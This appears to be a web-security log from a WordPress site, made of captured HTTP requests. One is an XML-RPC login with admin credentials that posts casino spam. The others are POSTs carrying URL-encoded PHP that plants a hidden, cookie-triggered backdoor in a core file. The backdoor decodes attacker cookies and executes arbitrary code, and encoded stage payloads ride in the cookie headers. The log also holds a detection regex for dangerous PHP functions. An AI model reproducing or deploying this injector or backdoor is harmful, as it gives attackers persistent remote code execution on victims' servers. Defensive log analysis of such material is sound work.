casinos that you may possibly discuss. At every on the internet slot gambling enterprise, there's multiple payment actions that offer exceptional privacy. Of several best All of us position websites will let you play right from a mobile browser. While you are these types of applications be noticeable because of expert structure, smooth operation, and you can fun video game, you do not always need download you to definitely access a gambling establishment out of your mobile. These types of apps give a profile out of cellular position games out of various other developers to give a wide selection of alternatives. We see programs compatible with Ios and android devices, that have fun incentives to own smartphone people.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T13:46:48<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:7241\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Best Local casino App and Slots Supplier]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And this slots web sites get the very best profits?<\/a><\/li><li><a href=\"#toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/a><\/li><li><a href=\"#toc-2\">Are there incentives designed for playing the nice Blue Position?<\/a><\/li><li><a href=\"#toc-3\">The fresh Stacked Nuts<\/a><\/li><\/ul><\/div>\n<p>In this book, you’ll can enjoy, secret have for example RTP and you may volatility, and you will the best places to play the Great Blue slot for <a href=\"https:\/\/vogueplay.com\/au\/reactoonz\/\">go right here<\/a> real currency at the top Malaysian local casino internet sites. You need to keep in mind there's no guaranteed strategy one will make you win in the online slots games, while the the position web sites have a statistical advantage over participants in the the long run. <!--more--> Online gambling internet sites fool around with bonuses, as well as no deposit bonuses, deposit incentives, and you may totally free revolves, to draw the new professionals and provide her or him an incentive to make a free account and start to experience. Right now, of numerous professionals choose playing online casino games on the phones, for this reason a lot of the better slot websites is actually enhanced to possess mobile play.<\/p>\r\n<h2 id=\"toc-0\">And this slots web sites get the very best profits?<\/h2>\n<p>The software program supplier gets professionals other inspired titles for example Green Lantern, The brand new Matrix, Miss Fortune, Beach Existence, Buffalo Blitz, and you may Period of the brand new Gods. Casinos in the usa are spoilt for choices when it comes in order to totally free harbors. The newest symbols to the video game through the Blue Whale, and that functions as the newest Crazy and contains a maximum payout out of 10,one hundred thousand coins. So it point in addition to explains different incentives you can hope for because you enjoy. The new digital display screen at the bottom has got the info key to your the newest left as well as the spin button to the right.<\/p>\r\n<ul><li>An informed modern jackpot slots can be come to perks as much as several million when you are fortunate.<\/li><li>Think starting with reduced wagers to give your own fun time while increasing your odds of showing up in financially rewarding bonus bullet.<\/li><li>Once you’ve done so you can begin spinning the good Blue position reels!<\/li><li>The brand new scatter added bonus round is the 100 percent free spins bullet, since the crazy extra round 's the jackpot-successful bonus bullet.<\/li><li>Very game have a similar household edge at each betting web site, which means that your game possibilities may be more critical versus position webpages you play at the.<\/li><\/ul>\r\n<h2 id=\"toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/h2>\n<p>For many who victory lots, mode money away to own taxation is a smart circulate. In lot of places, gambling payouts are considered taxable earnings, even if the web site alone doesn’t statement her or him immediately. Here are some federal resources open to participants feeling signs and symptoms of habits. Within these date-outs, players don't sign in its accounts or place bets of every kind.<\/p>\r\n<h2 id=\"toc-2\">Are there incentives designed for playing the nice Blue Position?<\/h2>\n<p>The word “slot” is a general umbrella coating a massive and ever-broadening world from online game. A knowledgeable ports websites is actually transparent about this information. A position with a keen RTP out of 96% usually, more scores of spins, pay off $96 for each $100 wagered. Having 1000s of gambling games from countless team, the newest range is nearly limitless.<\/p>\n<img src=\"https:\/\/www.wsop.com\/images\/imagestore\/flashlarge\/20100928_31_James_Bord_Winner_and_friends_5308.jpg\" alt=\"thunderstruck 2 online casino\" align=\"left\" border=\"0\">\n<p>A brief history from playing in america is interesting and you may schedules completely back into the brand new 1600s. As previously mentioned, says handle her gaming laws and regulations. The software supplier market is extremely competitive which is just increasing in the us.<\/p>\r\n\r\n<ul><li>The brand new video slot, Great Blue, is made using HTML5 technical.<\/li><li>The rise out of electronic currencies provides triggered the newest introduction away from crypto casinos.<\/li><li>The beauty of Slotomania is that you can play it anywhere.You could potentially enjoy totally free ports out of your desktop computer at your home or their cell phones (mobile phones and you may pills) when you’lso are on the move!<\/li><\/ul>\n<p>But not, the true adventure often is dependant on the fresh great features. It individually has an effect on the exhilaration, shelter, and also the equity of your game you play. So it, in turn, allows one comprehend the full image and select an educated slots local casino one aligns very well along with your choice. At the top for the page, you can find Casinogy's handpicked number of a knowledgeable ports websites, carefully evaluated by the pro team.<\/p>\r\n<h2 id=\"toc-3\">The fresh Stacked Nuts<\/h2>\n<p>Although not, if you are searching for more interaction, there are even live broker online casinos that you may possibly discuss. At every on the internet slot gambling enterprise, there's multiple payment actions that offer exceptional privacy. Of several best All of us position websites will let you play right from a mobile browser. While you are these types of applications be noticeable because of expert structure, smooth operation, and you can fun video game, you do not always need download you to definitely access a gambling establishment out of your mobile. These types of apps give a profile out of cellular position games out of various other developers to give a wide selection of alternatives. We see programs compatible with Ios and android devices, that have fun incentives to own smartphone people.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T13:46:48<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-12 21:47:27","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nCJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:47:50","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp2LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nsf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:48:02","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24ne